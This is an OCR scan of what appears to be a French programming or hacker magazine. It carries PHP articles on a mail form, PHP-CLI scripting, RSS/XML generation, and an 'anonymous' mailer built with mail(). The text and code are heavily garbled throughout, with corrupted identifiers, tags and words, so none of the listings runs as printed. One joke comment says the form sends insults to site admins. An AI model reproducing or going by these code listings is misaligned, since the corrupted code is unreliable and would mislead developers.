d) envoi du message (et gestion de I'echec a 
'envoi) 

V 

Ift&naiHSlaSpdmLUtP, i&ubject, 
Smessage, "from i JfrofnefiiaiT 1 )) { 
/* 

e) affichage d 'information s signals nt le bon 
envoi del'email 

Le mail a ete envove avec succes (d'apres pop}. Le 
mentat peut done craire que tout s'est blen passe et 
afficher un message de fiSteitations, car e'etart une 
veritable aventure pour en arriver la ; - ) 

*/ 
echo , <pre>'>htmlentitie5ttme5£flge)^ 
echo '---^pyflKssage envoy e aux 
adrafns, les Insultes vont suivre ;-)*; 
echo </pre>>; 

} else { 

/* 
Quefcjjechosealfri la foncttonmalO arefwoye' "talse". 

Cela peut avoir plusieurs causes : 

• le service de relais mail local n'est pas 
bien configure, 

• le service de relais mail local est planted 

• le service de relais mail local n'aime 
pas I'adresse du destinataire, 

• PHP a ete recompile pour que la foric- 
tion maiK) so it configured pour tou- 
jours renvoyer falsef) fvoir free.fr), 

• I'ajout du header "'From: Sfrc-memaiP' 
a fait flipper le relais car seule une 
adresse est toleree dans le champ 






TT1 



From : telle qui est dans le php.ini. 
* le SMTP n'est pas bier configure dans 

le php.ini (machines Windows). 
A ce niveau, le mentat peut essayer des metbo- 
des alternatives, comme par exemple I 'emula- 
tion d'une connexion SMTP via fsockopem: j awec 
le package phpMailer (voir httpy/phpfTiaileivsour- 
csferqe.net/ ) qui est configurable pour utiliser 
alternativement les met nodes Sendmail gmail, 
postfix, Imail, Exchange, Mercury ou -Courier ria 




m 



une connexion de type telnet ou en local si la 

connexion vers rexterieur n'est pas possible. 
Cet exemple ne sera pas documente dans cet 
article car phpMailer merite un article a iui tout 
seuL 

Le mentat affiche done le message d'erreur, en 
s'exeusant ou en insurant rutilisateur pour avoir 
tente d 'envoy er un mail dans un moment aussi 
inappcoprie, puis en le priant de revenir plus tard 
au cas ou les choses iraient mieux... 



«/ 



?xtsble borders ^dth=LBM he1ght=lffiB> 
<tr vallgnpcenter- allgrF^enter^ 
<td val 1 gn=center 4l1gnf=center>^center> 
<tab1e border=0xtrxtd> 
<hl>Sti1t! Echec a 1' envoi du message ;-Wril> 
Same player shoot again 1 <br /xbr f> 
</tdx/trx/table> 
</tdx/trx/table> 
<? 



Sortie de la Condition,, a ce niveau tout est traite\ le mentat peut dgnc mettre fin 
au script. 

V 

exit; 



}else {/* ( le test eta It 
) */ 



1 f f S_P05T[ ' subml tform ' ]="ma 11 to; repo s1 tory adml ns" } 



Aucune don nee de formulaire envoyee, e'est laquelle on fait apparailre le formula ire de sai- 
donc un affichage normal de la page dans sie pour envoi de Temail. 



e 



D 



rrr 



IrLlr Wm 

m 



echo ,, <htrilxhe.adxtitle>Fomiula1re pour envoy er du blabla aux mecs du site en 
utfllsant le facteur HettrDnik</titlex/heacXbQcly>"; 
echo " 
<pre> 

<F0RM AGTIOI^VI_SERVER[PHP,SELF]\ B METHODS -pOSTV> 

< INPUT HAHE=\*f™iemanv STZE=49 type=teat val(je^ema1l> 

*IHPUT TYPE=\" hidden \" MAHE=\-Subject\" VALUED" ImaiH ,php3 avec \"> 

<TEXTAREA HWWmessageV ROW5*ri0\" COLS=\ H 70\"^itext</TEnAREA> 

<IHPUT MAWE=\" submit fa rm\" TYPE=\" submits V ALUE=\"$ submit Lab* 1\"> 

<^F0RH> 

</pre> 

■ . 

} 



Et hop, le script est Rni, tons le& Mi (en Jin 

presque) traitables ont ete traites... 
Ce qu'il faut retenir de cetteaventure : 

* un codeur rVest pas un rnentat; 

* prendre trap d'epice n'est pas mauvais poyr 
la saute, mais peut provoquerdes. p reman i- 
tions accabf antes pour la psyche, 

* il faut toujour* penser a la secur ite quand on code 
une appli, surtout si on ne consomme pas d'epke, 

* il ne faut jamais Faire confiance a une van a 
b le ut i I i sate jh surtout sice dernier declare 
prendre de I 'epice, 



il faut u Miser toutes les sequences d'e- 
chappement correapcndant a la source et 
destination du flux des donnees, de cette 
maniere, I'^piee pourra circular librement 
(spice must flow), 



*/ 



7> 



tobozo 



THJ salue I'equipe de madchat.org ; - ) 



LE SAVIEZ-V0U5 7 

Comblant les deficiences juridiques en la matiere, une legislation encadrt I'-envoi abuslf de t&Uf- 
rierelectronique. 

emq prend lieu dans ■ 

• la directive europeenne n' 3 2002/58 du 12/07/2002 relative a la vie privee et aux communi- 
cations electroniques. 

• la loi n* 2004-575 du 21/06/2004 pnur la con fiance dans I'economie numerique (LEN). 

• la lol n* 78-17 du 06/01/1979 " infor matique, fichiers et liberies "■ applicable pour la col lee te 
frauduleuse d'adresses elect ronlques. 

A notec si vous avsz fourni votre adresse email a un prestatalre malhonnete, vous ne pouve: 
vou5. en prendre qu'a vaus-nieme. 



I 




[r Irio 



TT] 



PHP DANS VOTRE SHELL ! 



BEAUCOUP DE PERSONNES CONNAISSENT PHP POUR LA PROGRAMMAT10N 
INTERNET, MAIS IL EXISTE UN AUTRE ASPECT MOINS CONNU DE CE LANG AGE. 
CEST LA POSSIBILITY DE GREER DES PROGRAMMES INDEPENDANTS PQUVANT 
ETRE LANCES DEPUI5 LA LIGNE DE COMMANDS 



Depuis la version 4.3.0 de PHP, il est possible 
d'utiliser une nouvelle interface de pro- 
gram mat ion duplications serveur permet- 
tant d 1 e* porter les fonctionnalites de PHP 
en dehors du Web. Ce 5.API s'appelle CU - 
pour command fine interface. vous I'aurez 
compris, cela permet de lancer des applica- 
tionj PHP autosomes a partir de la lio.ne de 
commande, 

A QUI PROFITE PHP-CLI 7 

Toutes les personnel program man t en PHP 
apprecieront le fait de pouvolr travailler 
sur de nouveau* supports, Les webmasters 
pourront ecrire des scripts d'installation 
pour leurs applications web et tous ceua 
qui hesitaient a apprendre PHP car son 
domaine d'application itait restreint a 
Internet peuvent desormais se lancer dans 
ce Ian-gage. 

POURQUOI UTILISER PHP-CLI ? 

PHP-CLI procure de nombreu* a vantages pour 
toutes les personnes desireuses de creer des 
scripts d'administration 9 j bien des applica- 
tions qraphiques, cjra'ce a php-cjtk, Avet PHP- 
Cli. vous n'etes plus oblige de vous investor 
dans I'apprentissage d'uo nouveau lanqagecar, 
dans la majority des cas, PHP repondra a voire 
besoin. 






INSTALLATION 

Si vous etes linuxien et que vous avez installe 
PHP depuis les sources, vous n r avez pas de scu- 
cis a vous faire a propos de PHP-CLI car celui- 
ci est automati que merit install e. En revanche si 
vous installez PHP avec le gesttorcnaire de 
paquetacies de votre distribution, vous devrez 
certainement ajouter un nouveau paquetaqe 
correspondent a PHP-CLI. 
Une petite recherche depuis votre qestionnaire 
de paquetaqe et le tour est jou£ (sous debian 
sarqe par exemple, on utilisera apt-get install 
php4-di). Une fois que votre installation sera 
terminee, vous disposers d'un nouveau binai- 
re appele PHP. Pour connaitre son emplace- 
ment, il suffit de lancer la tommandesuivante : 
dd&l a ptop :-/prograiimati oo/phpi wherei s php 
php: /usr/hi n/pfip /usr/share/php 
/usr/sha reAnan/mani/prip . 1 . qz 

Les utilisateurs de Windows trouveront un eae- 
cutable appele php.exe dans Imeur repertoire 
d'instatlation de PHP (t:\php5\php'win.exe si 

vous avez suivi le tutorial d'installation de ce 
manuel'). Vous devrez certainement modifier la 
variable d'environnement PATH pour pouvoir 
acceder a ce proqramme depuis n'importe quel 
emplacement de votre systeme. 
Pour It suite tfe cet expose, j'utiliserai PHP en 
version 4.3.9 sous Linux, mais vous pourrez 



dH 



m— 






I.I 



adapter chacune des commandes a une version 
difference de PHP, que ce so it avec tinux ou 
Windows, Vous poum obtenir la version exae- 
te de votre PHP en executant la commande sui- 
vante : 

dd£laptop:-$php -v 

PMP 4,3,9-1 tell) (built j Oct 5 2404 
IB; 45: 32) 

Copyright (c) 1997-2004 The PHP Group 
Zend Engine vl.3.fl, Copyright (c) 
19S8-20B4 Zend Technologies 



PROPRIETES 

Lorsque vous utilise PHP depuis la liqne de 
commande, certaines directives du php.ini sont 
automatiouement desaetivees ou modifies car 
elles ne presentent aucun interet dins un envi- 
ronnement utilisant un terminal (invite de com- 
mande MS-DOS ou terminaux Unix), Ces fameu- 
ses directives sont les suivantes : 
html_errors = Off 

-> En effet p il serait totalement absurde d'affi- 
cher des erreurs au format HTML dans votre 
console,.. 

regi5ter_argc_argv ■ On 
-> Cette directive permet de declarer les varia- 
bles Sargc et Sarqv que I 'on pourra utilizer 
dans nos scripts pour recupfrer les arguments 
de la ligne de commande. 
iBpl1o1t_flush = On 
-> Permet d'afficher directement les valeurs 
des fonctions print et echo. 
inart Wi eKeeutioii_t1mfe ■ 2 
-> Avec cette directive, le temps d 1 execution de 
nos scripts devient ilhmitr 
II v a egalement tresis ennstantes definies pour 
que Ton puisse utilizer I'ensemble des tone- 
ttons d 'entree-sortie. Ce sont respectivement 
STDIN pour gerer le Mux d 'entree standard 



ouvert en lecture seule (permet de recevoir 

des donnees), STDOUT qui represente le flux de 
sortie standard ouvert en ecrlture seule {per- 
met d'afficher des donnees a I'ecran) et 
STDERR qui permet d'afficher les problemes 
rencontres dans un programme (permet egale* 
ment d'afficher des donnees a I'ecran). Ces 
■con si antes s'utilisent de la merne fa con qu'un 
mampulateur de fichier, e'est-a -dire que I'on 
peut e'er! re une instruction telle que 
" fwritefSTDOUL "Afflchaqe sur votre fain 
!!!\n"): M . 

Nos applications vont passer du navigateur web 
a un interpreteur de commande, ce bouleverse- 
ment d'environnement implique certains chan- 
gements dans votre facon d'utiliser PHP, Par 
exemple, il n'est plus question de formater ces 
donnees en HTML et d'utiliser des balises telles 
que<bp pour changer de liqne, on utilise ra done 
le caracterede nouvelle ligne classique 1l \n "' , 
Pour pouvoir qfrer le terminal, e'est-a -dire en 
utilisant des couleurs dans vos applications ou 
bien pour ecrire a des endroits parti cullers, il 
est possible d'utiliser la bibiiotheque ncurses 
special erne nt con cue a cet effet. L'autre solu- 
tion consiste a utiliser php-gtk pour creer des 
GUI (applications graphiques) et ne plus avoir a 
utiliser de terminal. Etant donne que la majori- 
te des utilisateurs preferent les applications 
graphiques, cette fonctionnalit£ de PHP peut 
devenir tres interessante, 
Notre utilitaire PHP propose plusieurs options 
d'utilisation. Vous pouvei a Richer I'ensemble 
de ces options avec la commande " php -h v . 
Certaines d'entre elles servenf uniquement a 
donner des informations sur la version de PHP 
ou les extensions disponibies comme les mar- 
queurs " -i " et " -m '\ Les options les, plus inte^ 
ressantes sont " -f " et " -r ", qui nous per- 



1 







Tl 



mettent respecti Yemeni d'executer un script 
PHP et d'ecrire direetement ees instructions 
sjr la ligne de command?. Darts tous les cas, je 
vnus sugqere de lire la page de man de PHP afin 
de pouvoir exploiter les options de fa^on ■opti- 
male, 

LA PRATIQUE 

Comments tout de suite par tester un script 

simple affichant un message sur le terminal : 

<? 

/+ helTs.php */ 

echo "Hello world l\n"; 

!» 

Pour executor ce script^ 11 sufflt de 

se placer dans le meme repertoire que 

eelu1-d et de falre : 

d(Bt aptc p ;~/p rogramna t t on/php/ el 1 iphp 

■f hello. php 

Hello world ! 

Pour lancer ce scoot, on aura it pu se passer de 
('option " -f \ de mSme r ('extension ,php n 1 est 
pas otoliqatoire. Si vous utilises Linux r il est 
possible d'ajouter la Eigne ftl/usr/bin/php au 
debut de vos scripts. Cette ligrte s'appelle le " 
shebang ". si vous I'lnserez etdonnez les droits 
d'execution sur ce fichier, alors vous pourrez 
lancer le script en faisant ./hello.php. 
Voyons maintenartt comment utiliser les diffe- 
rent* para met res que I'on passe au script. On 
utilises la variable Sarqc ainsi que le tableau 
Sargv qui sent definis auto mat iquement. II est 
inutile de decrire leur fonctionnement, un 
example est bien plus parlant : 

#J /usr/hi n/php 

<? 

/* arguments, php */ 

echo "Le ■ nom du script est 

largv[&]\n"; 



LT 



-m 
•) 



IT 



for(H=l; Sargv[ti] != mm \ ti 

fwrlteCSTWWT/L'arginient $1 
vaut targv[tt]\n"); 
7> 

Testons tout de suite son fonetl onne- 
nent : 

ddfil aptop : Vprogranmati on/php/cl i Jchm 
od +x arguments. php 
dcH91 gptop {-/progrjnmatl on/php/cl lt*/a 
rguments.php toto tutu tata tftt 
Le mom du script est ./arguments. php 
L'argument I vaut toto 
L'argument Z vaut tutu 
L'argument 3 vaut tata 
L'argument 4 vaut tftl 

Dans notre dernier script nous aliens voir com- 
ment dialoguer avec I'utilisateur en lui deman- 
dant d'entrer dies valeurs que nous analyse- 
rans, C'est le meme prinripe que pour les for- 
mulaires que Ton retrouve dans les sites inter- 
net dynamiques. Vovons cela avec le fichier 
add_user.ptrp : 
tfl/jsr/btn/php 
<7 /* add_user */ ?> 
Ce script perraet d'ajouter dies utlll- 
sateurs au ftchier users. list: ... 

<? 

Ifp * f operif "users J 1st", "V+"); 
fwrltetSTMUT, "Hon: "); 
tnom = trlnrtfgetsCSTDINH; 
fwriteCSTDOUT, "Prenwri; ")j 
Sprenom - trtm(fgets(STDIM)); 
(result = "Inom 5prenom\n"; 

if Cfwr1te(Sfj>, (result)) 

fwriteC$TDOUT,"\n---\Tt(noni 
Iprenom a bien St6 ajout^!\n"); 
else 







fwrite($TDERR,"LIne 
s'est produtte J J l\n*); 



erreur 



Une fois qu'on I'ejte^te, on obtient : 

ddfll aptopWprociraCTiiation/ptip/cl 1 tphp 

addjiser 

Ce script per met d'aj outer des utilisateurs au 

fichier users.list... 

Horn: Mitnick 
Prenom: Kevin 

Mitnick Kevin a bien ete ajoute! 

ddST a ptop : -/p rogramrat i on /ptip/e 1 f I 

Guand on regard* le fichier users, list, on voit 

bi en qu'un utlllsateur a £t£ ajoute' : 

ddBl aptop: -/progrannation/php/cl 1 J cat 

users. 11st 

ffltitfck Kevtn 

Ces quelques exemples montrent qu'il est tres 
simple d'utiliser PHP-CLI et que, meme si les 
performances sont moins bonnes que pour 
d'autres langaqes de scripts tels que Perl ou 
Python, on peut se servir de ce lanqage pour 
creer des scripts d'administration trfcs com- 
plets. 

Vous pouvez eoalement utiliser I 'option " -r ■ 
pour lancer du PHP sur la ligne de comma nde 
en se passant des balises<? >, tela donne : 
dolfl aptop :~/prog rannatf on/php/cl 1 Sptip - r 
for(ti=l;*f-==3;$i++)pririt "art *i\n'V 



cmdl 
cmd 2 
mi 9 

Les exemptes utilises id sont extremement 
simples mais vous pouvez adapter chacun 
d'eux en ajoutant des Fonctions ou en utilisant 
des extensions qui permettront certainement 
de satisfaire cfiacune de vos requetes. 
L'utilisation de PHP-CLI pour crier un script 
permettant de gerer une base de donnees en 
mode console ou pour realiser un exploit est 
tout a fait enyisageable, ators j'espere que tous 
ceujc qui pensaient que PHP est un larvgage 
sans inter et commencent a changer d'avis ; • 

Nous nous sommes contents de decrire les 
fonctionnalites de base de PHP-CLI, mais il taut 
savoir qu'il est possible d'utiliser des functions 
du type readline pour ameliorer ('interaction 
avec I'uhiis-ateur. De plus, avec les fonctions 
PEAR::Console_Getopt. vous pourrei parser 
facilement les different* parametres passes a 
vos scripts, 

CONCLUSION 

Voila qui acheve cette introduction a PHP-CLI, 

Hous avons vu a quel point il est simple d'utili- 
ser PHP en environnement shell. Vous etas 
maintenant capable d'exporter vos applica- 
tions PHP en dehors du Web et ce, en toute sim- 
plicite alors... A vos claviers ;-) 

Delete 










TT 





CREEZ UN FICHIER 

XML en PHP 

LE XML (EXTENSIBLE MARKUP LANGUAGE) EST, AU MEME TITRE QUE L'HTML [QUI 
EST D'AILLEURSSON PREDECESSEURJ, UN LANGAGE DE BALISAGE, C'ESTA DIRE 
UN LANGAGE QUI ENCADRE L1NFORMAT10N DANS DES BAL1SES. MAIS CONTRAI- 
REMENTAU HTML, QUI EST UN LANGAGE D'AFFICHAGE, LE XML EST UN LANGAGE 
DESTRUCTTjRATlON. 



La difference ne s'arrete pas la. Mors que dans 
le HTML, les bdlises sont predefines et done 
fiqees, le XHL est extensible, et permet de 
creer ses propres balises en fonctionsdes don- 
nees traitees. 

Ainsi, bien que le XMLet le HTMLfonctionnent- 
tout deux avec des ballses, sont inde pendants 
de la plate forme et sont en mode texte r ce 
sont deux lanoages bi€n distinct*, autant dans 
la forme que dans le fond. 
Le but d'iin fichier XML est d'etre reutilise par 
un autre lanqage. II fajt done struct urer les 
informations necessaires a un f utur traitement 
def agon clair 

Le corps du fichier XML simplifie d'une petite 
bibli at heque pourratt ressembler a : 

<bibHio> 

<rubiMque name="policfer"> 

<livre> 

<auteijr>Edgar Poe</auteur> 

<tUre>Double assassinat dans la rue 
Morgue Vt1tre> 



I 



<11iTe> 
<auteur>Eggr Poe</ajtejr> 

<ti treble Mystere de Marie 

Itoge Wt1 tre> 

</] i vre> 
</rubr1que> 

<rubrtque name-' voyage "> 
<lfvre> 
<auteur^Routa rd</auteu r> 

<t i t re>Tuni si e</ ti t re> 

<;/rijbrique> 
</b1bl1a> 

Cette bibliothequeest ^raiment fort petite : ) 
Malqre la liberie de creation que permet le XML 
certaines regies syntaxiques (que Ton retrouvera 
dans les langages derives comme le XHTML, leWML 
ou le MathML), comme on part le constater dans 
Pexemple ci^fessusdoivent etre respectees : 

• Un nom de balise ne petit pas contenir de 
caracteres spetiaux (-,;,v,...) ; rien que des 

ch Iff res et des lettres (les accents sent per- 
mit rnais deeonseilles), et eventuellement 

des underscores. Pas d'espaces non plus. 



■^B ^B 



<noni-prenonfr</nofli-prenoiff> ou <nffln prerwfifx/nom prentnrt> 
sera dome h remplacer par exemple par : 
<nom_preno(* ! </nom_prenont* 

- Un now de baltse ne peut nl comnencer par un cMffre* n1 par les lettres 
m mV, 

<lpri*x/lprix> 

et 

<m\ prl xx/xm\ pri^> 

seront done interdits. 

- Un ncm de baiise est sensible a la casse i 

<Rjubriquex/Ri4briqu'e> et <rubrfquex/rubriqiie> sont des ballses dtff erentes. 

- Une baiise qui est ouYsrte dolt etre referee. 

Si un Element esseulG est necessatre, 11 aura la syntaxe : 
<tl ementtDutseul V> 

- Les ballses dofvent §tre correcteroent imbriquees. 
<pareintxenf a ntx/parentx/en farthest incorrect . 
<$a rentxenf antx/en fan tx/pa r en t>est correct. 



* Chaque fichier XML doit commencer par une baiise 
'Yacine M , qui encadrera la totalite du fichier 

<biblio> dans le cas de I'exempleau dessui. 

• Les valeurs des attributs doivent etre mises 
entre guillemets. 

<rubMque 

larigue^fyx/rubrique^st correct, 
<rubr 1 que 1 ang ue=f rx/rubr t q ue^est 
incorrect. 

Passcns main tenant a la creation d'un 
fichier XML, qui permettra a d'autres sites 
web d'utiiiser les news #<fiUes par le 
noire. La question qu'il nous faut nous 






poser est : de queues informations les uti- 
lisateurs de notre fichier XML auront-ils 
besojns pour I'utiliser de fa(on optimale ? 
II y a d'abord les informations concemant 
notre site tui me me : 

• Letitre 

• L'url 

• Eventuellement la lanque et/ou un logo 
Puis les informations concemant chaque news : 

• Le t itre 

• L'url 

Imaginons que ces dernieres informations 



(concernant les news), se trouvent dans not re 
base de donnees dans la table "ncuivelles'' 
contenant les champs : 

• ID, la clef prima ire 

■ tit re, le litre de la news 

• contents le contenu 

et que ctiacune de ces news est dispoctible via 
Line URL du type: 



http^/www.nfltrew^sh:e.x](/new4ihp?id - iwws=[ID] 

Pour que la creation du code PHP rnettant a 
disponibilite le fichier XML salt Pien claire, 
nousallons d'abord nousftgurera quoi devra 
ressembler le fichier XML {que nous nomme- 
rons L>ackenid,php), selon ce que I'on vient de 
def iiiir : 



<?xml version-" 1.0" encodings" I SO ■ 8869-1 "?> 

<;'D0CTYPE rss PUBLIC "-//Netscape Comnun1cat1ons//DTD RSS 0.91//EN" 

"http: //my. net scape, com/publ 1 sh/formats/rss-0, 91 , dtd"> 

<rss versjon="0 T 91"> 
<channe1> 
<Vrebs1 te> 

<title>Hi era soft et la se-curitfr</title> 
<1 1 n kXittp : // wwj , notr ewebs 1 te . xx</l 1 nk> 
<\ c-gotittpt //www . notrewebs i te . xx/ 1 ago < gi f</1 ogo> 
<;/webs1te> 
<new&> 
<iteirt> 

<tttle>Ant1 -Virus pour le dernier ver Windows XP</t1tle> 
<1 1 n k>tittp : //ww . not rewebs i te . Jtx/news . ph p? f d_news=26</l 1 nK> 
</1teiff> 
*1tenr> 

<title>Patch de sfrurite' pojr Windows XP</t1tle> 
<1 1 n k>tittp : //ww , notrewebs t te . xx/news , php? 1 d_news-£4</ 1 1 n k> 
</1t«P 
^itenp- 

ctltleHlOAX : Windows serai t s^cur1s§</t1t1e> 
<1 1 nk>http://ww. notrewebsl te.xx/news.php?1 d_news=22</l f nk> 
</itenf> 
</news> 
</channel> 
</rs&> 



On a ici fixe une limrte de cinq nouvete dispom- mars comme <rss> est la par convention pour defi- 
nes, de facen a ne pas alourdir I'exemple. Ici la bali- nlr la version utilisee. en thoisira plut5t <ehannel>. 
se radne pourrait etre l1 rss' r comme "channel", | Volci le code PHP qui a genere ce fichierXML : 






trlrLlr Iff 

m 

header (" Content -Type : text/xml"); 



echo -<?xm1 WrSt<W»\'l,tt" encoding^" I SQ-Se59-l\"7>\Tl\ll": 

echo "<:!DOC"nPE rss PUBLIC V- //Netscape Comimin1cit1ons//DTD RSS 

§.91//EMWj 

echo " V http://my.net scape. eom/publ Isli/formats/rss-B^l.-dtdS^n^'; 

echo "<rss YersioTF\"ff.91\">\n\n"; 

echo "channel >\n"; 

echo " <^]>iite>\n"; 

echo " <t1tle>M1cresoft et la securtte</fltle>\n"'; 

echo H <Hnk>http://ww.notreweb&1te,xx</l1nk=>\n"; 

ec ho " <1 ogoohtt p : / /www . not reweb s i te , kx/ 1 ogo . gi f </ \ ogd>\rT ; 

echo " </wet>site>\n'*; 

(result " mysql .query ("SELECT 1<l, tttre FROM nouvelles LIHIT 5 B J; 

echo " <news>Vrf ; 

while tl1stt*1d t Itttre) = sql_feteh_row(*result t idfaf)) { 

echo " <tem>\n"; 

echo - <tnle>$titre</title>W- 

echo " 
<1 1 nk>http : //ww* . not reweb s J te * xx/news . php? i d_news=*1 dK/1 1 nk>\n " ; 

echo " </item>\n M ; 

} 

echo ' </news>\n" ; 

echo "</channel>\n"; 
echo "</rss>": 
1> 



I 



— 



T! 



Hi' 



[ 

r 







TTI 




On definit d'abord le type du fichier qrace a 
rheader 'Content-Type" qui viut "text/a ml". 
Puis on aff i c he les liqnes cocnernant le Pchier XML 
lui mime, Suivi des informations que Ton a choisi 
de rendre disponibles au sujet de rut re website. 
On extratt ensuite les cinq dernieres news de 
la table "nouvelles" via MySQL, puis on les affi- 
chc selon la structure chorsie, pour enfin far- 
mer les halises ou vertes au d£but du fithier. 

Cumme vous avez pu le rernarque r, la creation 
d'un fichier XML est extremement simple. Et 
malgre tela, son dy/namisme et son efficatite 



ne sont pes blouses. II ne reste plus qu'a un 
autre webmaster de creer un petit script qui 
lira, extraira (via des expressions requlieres, cf. 
paqe 14) et affichera les news de voire site, 

Ouelques URLs qui pourront ikmjs Mres utiles : 

http://wwwxhez.co-m/iml/ (apprendre leXML) 
http://iml.dEveloppK.com (club d'entraide des 
codeurs francophones) 
http://www.xm If rorg (I'espace XML francophone) 

http^/wY™ J phpsBeure.info/v2/.php?zane=pB«kend 
(exempt? d'extraction de domees tfutt Heftier XML) 

froq-m#r 



m 



LE SAVIEZ-VOUS ? 

Le W3C - World Wide Web Consortium, fonde en 1994 r est un qroupement international ^orga- 
nisations diverses (ent re-prises,, centres de recherche*...). II a pour charge de derinir les stan- 
dards technologiques en utilisation sur la toile. 

En 1997 il publle les recommandations pour HTML 3.2, qui devlent HTML 4.01 en Dtcembre 1999. 
Au dtbut de I'annee 20OO e'est rannonce des recommandations pour XHTML, Le besom de 
disposer de dynamisme se fait deja ressentir, HTML vie! 1 1 it 

C'est danscette menve periode, en Fevrier 98, que se diffusent les premieres recommandations du 
XML, aloes version 1.0. 

Pour consclider r«lfl« en construction, le W3C public le DOM, le Document Object Model, De 
DOM level I en 1996 a DOM level 3 en 2004. cette API n'a cesse de fournir plus d'efflcacite pour 
facliiter le traltement et la manipulation des langaqes web. Le POM ne precise pas le langage, 
mais les methods* d'acees au* representations du langage pour permettre plus fad lenient la 
construction de pages et la recuperation de donnees HTML, XML. 



i 




D 

ir 



rrr 



— 




Mailer PHP , 

ANONYME EN KIT ! 

L'ENVOI DE COURRIER ELECTRONIC FAIT PflRHE DCS FONCTIONNALntS DE 
PHP. PUISQUE CELUI-CI EST ENVOYE DEPUIS LE SERVEUR DE VOIRE HEBERGEUR 
(SI CE N'EST PAS VOTRE VOIRE MACHINE QUI FATT OFFICE DE SERVEUR}, IL EST 
ANONYME DANS UNE CEFTAJNE MESURE. C'EST A DIRE QUE LA PERSONNE QUI 
CHERCHERA A VOIR D'OU PROVIENT LE MAIL QUE VOOS LUI AVEZ ENVOYE 1ROU- 
VERA LE SERVEUR DEPUIS LEQUEL VOUS LAVEZ ENVOYE. 



LA FONCTION MAIL!) 

La function de PHP utilises est mailC), sa farmg 
generate est : 

tres = mail(*desti"nataire > tsujet. (mes- 
sage ii (entra_en_tete [, iejttrajw ra- 
metres ] ] }; 

ou $extra_en_tete et $extra_parametre sont 
facuftatifs. lis servant a ajQuter respect ivement 
des en-tetes supplemental res (en plus du des- 
tinataire) et des parametres a passer air pro- 
gramme d'envoidemail. Eneffet, PHP envois le 
mail par (Intermedia ire du programme d 'envoi 
de mails du serveur, prevu a cet effet 
Laloncttw mail!) retoumefflUE si le mail acorrecte- 
rnent &6 enyoy£, FALSE sinon Elle ne presente aucu- 
ne difficult, mais renvoi de matecomptexes necessite 
de ooonaftnp les en-tetes, que nous ve/rons pins bas. 

Example d 1 utilisation simple de mailO : 

<?pnp 

ma J 1 ( " quel ql@ex<empl e . com" * "Test : envoi 

d'un mall en PHP"\ M Li gnel\nLi 0jne2\nLf - 

gr,e3"1; 

?> 



LES DE5T1NATAIRES 

Comme vous le voyez dans I'exemple ci-dessus, 
le destinataire peut etre indlque par sa simple 
adresse mail, Mais on pent eqalement indiquer 
le nom de la person ne, en utilisant le format : 
"Nom <adresse@srte.com>''. De plus, il est pos- 
sible de preciser plusieurs destinataires, en les 
separant par des virqules. 
Exempte: 

<?php 

mail ("Jul ten <Jul1en7S©exemp]e.com> 1 
Jean Bon <jboni§exeiiiple. «*£■■. "sujet du 
mail*\ "message"); 
?> 

L'EXPEDITEUR 

ET AUTOES DESTINATAIRES 

L' expedites r peut etre precise dans les en- 
tentes par "From: " suivi (du nom et) de I 'adres- 
se de I'expediteur, au meme format que le 
destinataire. On peut egalement preciser (le 
nom et) I'adresse de response par "Reply-To;" 
(en eas d'absence, c'est celle de I'expediteur 



I 



tti 



qui sera utilise?), Helas, la pfupart des h£ber 
geura graluits {ft pas ma I de payants aussil 
refusant d'envoyer un mail a une autre adresse 
que cell? du proprietaire du compte, je n'ai pas 
inclus ces possibility dans le script, car cela 
entrainait des erreurs cbez certains he'cer- 
geurs, Enfin, pour faire p^rvenira d r autresdes- 
tinataires une copie ou une copie invisible, on 
utilise "Cc; 1 " et "Cci: ,f toujours suivi du ou des 
destinataires. 

LE FORMAT DU MAIL 

Le ma i I peut etre a u form at HTML ou texte brut 
teas par defaut, done dans les exemples ci-des- 
»s). II faut le preciser an debut du message, a 
I'aide de Content-Type: text/plain (ou 
text/htmlK II faut egaiement preciser le char- 
set, e'est-a-dire le jeu de carattere (souvent 
US-ASCN ou i $0-8859-1). et Tencodaqe du 
cE>ntenu(Content-Transfer-Encoding) r 

On utilise de fait, comme la plupart des mailers, 
^extension MIME (dont les specificites ne sent 
pasahordeesidK 

Sactiez done juste qu'elle permet, entre 
autres. I 1 utilisation d'un jeu de carac teres 
etendu et renvoi de mails mixtes (multi- 
part), e'est-a-dirt con tenant le message 
texte et HTML (le texte ne sera affictie 
que si le HTML ne peut litre). Pour cela il 
faut le signaler : 

• dans les en-tetes par " Ml M E-Version: 1,0" et 
^Content-Type; multipart/a Iternat ive;" 

• avant chaque partie (HTML et txt), comme 
dans le script. 



ATTACHER UN FICHIER 

I est possible d'attacher un flchter present surle 

servEur [et accessible en lecture bien entendu) 




I 



ou sur un autre (il faut a lots donner Tadresse 

complete du fichier. par eaemple 
httpi//www L site.coin/imaqe.jpq}. Le fichier est 
alors inciu dans le corps du message, ill faut 
done, comme pour une partie en HTML ou en 
texte, signaler que ce qui suit est un fichier 
attache. De plus le ficnier necessite un enco- 
daqe specifique a MIME (decrit dans la RFC 
2CM5), obtenu avec les fonctions base&4_eTicor 
de et chunk_split Exempfe ; 

<?php 

// Fo matter de5 dannees pour suivre 
// la norroe RFC 2045 
Jnew_string ■ chunfc,_spl1t( 

base64_encode( sdata > } ; 
> 

Remarque : on peut uploader un fichier 
depuis la machine du visit eur sur le serveur 
avant de Pattacher, comme I e font les web- 
malls (yahoo, hot mail etc.), voir a ce sujet 
('article sur la qestion de f ichiers. 
Attention : La plupart des heberqeurs qra- 
tuits desactivent I'attachement de fieri iers, 
pour eviter les envois de virus depuis leurs 
serveurs, II arrive aussi que la partie texte 
d'un mail soil envoyee en tant que piece 
jointe. 



LE SCRIPT 

Passons h la pratique. Pour notre petit mai- 
ler, il nous faut un formula ire pour recupe- 
rer les do-nnees. et un peu de PHP pour 
preparer le mail avant de Menvoyer. II faut 
penser a faire des mails mixtes, done a sup- 
primer les balises HTML pour le message 
texte, sauf les <.br> et <p> que Ton rem pla- 
ce ra par des retours a la ligne. 



D 




Listing: mafl.php 



<h tml xheadxti tl e>Ha 1 1 </t i 1 1 ex/headxt><wJy> <? 

if(i5set(Sdest_adr) and fsset(tsujet) and 1s set ((message) and (message != "") { 
1 1 1 ml te = "jiartiesJ'.mdSdjniqid (randt))); 
// en-tetes 
Sentetes = »Date: % dated j F Y, G:t")."\nMIME- Version: l.flW; 

(entetes .= "Con tent -Type: multipart/alternative;botindary=\" =t)lmtte\"\n\n*'; 

// desti natal re 

ff(Sdest_nom = "") ldest_rora = Sdest_adr; 

Ito = "fdest-Jiom <ldest„adr:>"; 

// le message original en titml 

Shtml = " =*?1mft«\fi B ; 

